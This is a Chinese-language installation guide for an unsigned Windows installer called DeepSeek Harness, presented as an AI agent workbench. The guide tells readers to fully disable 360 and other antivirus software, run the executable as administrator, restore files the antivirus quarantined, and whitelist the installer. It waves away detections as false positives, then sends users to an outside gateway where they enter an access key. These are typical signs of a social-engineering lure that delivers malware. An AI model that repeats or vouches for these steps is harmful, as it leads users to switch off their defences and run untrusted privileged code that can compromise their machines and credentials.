deepseek-harness-Install(一键安装)

DeepSeek Harness 一键安装说明

感谢使用 DeepSeekHarnessSetup.exe。本安装器会自动完成全部部署，全程约 10 ~ 30 分钟（取决于网速），期间请勿关闭窗口。

---

一、安装前准备

项目	要求
操作系统	Windows 10 / 11（64 位）
磁盘空间	至少 3 GB 空闲空间（建议 5 GB）
网络	需要联网下载依赖
杀毒软件	强烈建议先关闭 360 等杀毒软件再安装，否则可能被误报拦截（详见第六节）
浏览器	任意主流浏览器（将自动打开）

无需安装 Node.js、无需安装 pnpm，安装器内置完整运行环境。

---

二、开始安装

1. 双击运行 DeepSeekHarnessSetup.exe
2. 选择安装目录（默认 C:\Users\<用户名>\AppData\Local\DeepSeekHarness；建议装到空间充足的盘，例如 D:\DeepSeekHarness）
3. 保持"发布服务器地址"和"模型网关地址"为默认值，点击 开始安装
4. 窗口左侧会滚动显示安装日志，下方进度条会随时间前进

---

三、安装流程（6 个步骤，分别做什么）

步骤	内容	消耗时长
[1/6] 释放内置 Node 运行时	解开自带的 Node.js 运行环境（约 40 MB）	约半分钟
[2/6] 下载源码	从发布站点下载程序源码包（约 30 MB）	视网速，可能数分钟
[3/6] 解压源码	展开全部程序代码	约半分钟
[4/6] 在线解析依赖	下载 900+ 个第三方依赖包并安装（最耗时的一步）	约 5 ~ 20 分钟
[5/6] 初始化配置	生成个人数据目录、模型网关配置、一键启动脚本	几秒钟
[6/6] 启动 Web	启动本地服务，自动打开浏览器	几秒钟

进度条走到第 [4/6] 步时会比较久，这是正常的，请耐心等待。

• 日志中出现 [WARN]（下载较慢提示）或 Updated available 等文字，均属正常，无需处理。
• 日志中出现 "Will retry in …"（下载失败自动重试），安装器会自动重试，请勿关闭窗口。

---

四、安装完成后

• 浏览器会自动打开 本机界面：http://127.0.0.1:3080
• 同时会尝试打开 模型网关首页：https://deepseek-harness.239.ccwu.cc（如未弹出，可手动在浏览器输入）
• 安装目录下会生成 start.bat，以后每次使用双击它即可启动
• 默认模型网关已配置，首次使用时按提示填入网关访问密钥即可

---

五、为什么安装慢？（常见疑问）

本程序是完整的 AI 智能体工作台，不是轻量小工具，需要安装 900 多个第三方依赖包（如 TypeScript、Web 框架、原生二进制组件等），总计约 1 GB 数据通过网络下载。这一步在网络不佳时会较慢，安装器会自动重试下载失败的包，属于正常保护机制。

提速建议：

• 使用有线网络 / 更稳定的宽带
• 避开用网高峰时段
• 关闭其他占用带宽的下载任务

---

六、杀毒软件误报处理（重要）

本安装器未做商业数字签名（需要付费证书），360 等国内杀毒软件常会误报为"病毒/木马"并自动删除或拦截安装文件。程序本身完全安全，请放心。

请在安装前先关闭杀毒软件，安装完成后再重新开启：

1. 右键任务栏右下角的 360 图标 → 选择 退出 / 退出并关机时启动? 取消，确认完全退出（部分版本需在设置里关闭"开机自启防护后再退出"）
2. 右键安装器 → 选择「以管理员身份运行」，正常完成整个安装过程
3. 安装完成后，重新打开 360，并在 恢复区 恢复被误删的文件（若有）

若未关闭杀毒导致安装失败：

• 打开 360 → 木马查杀 → 恢复区 → 恢复本安装器文件
• 360 弹窗提示时选 「允许运行」/「信任」，将该文件加入信任白名单
• 重新运行安装器即可继续

文件官方校验值（SHA256）可向发布方索取核对，确保文件没有被真正篡改、只是误报。

---

七、常见问题

现象	处理
停在某个步骤不动	多在下载中，耐心等待，最多等 30 分钟
进度条长时间不走	网络阻塞，可稍后重试安装（重装前先删掉上次残留的安装目录）
浏览器没自动打开	手动打开 http://127.0.0.1:3080；服务未就绪时先双击 start.bat 再打开
安装目录损坏/想重装	删除原安装目录，再运行安装器重新安装

---

如有任何问题，请将安装窗口的完整日志文字反馈给发布方即可快速定位。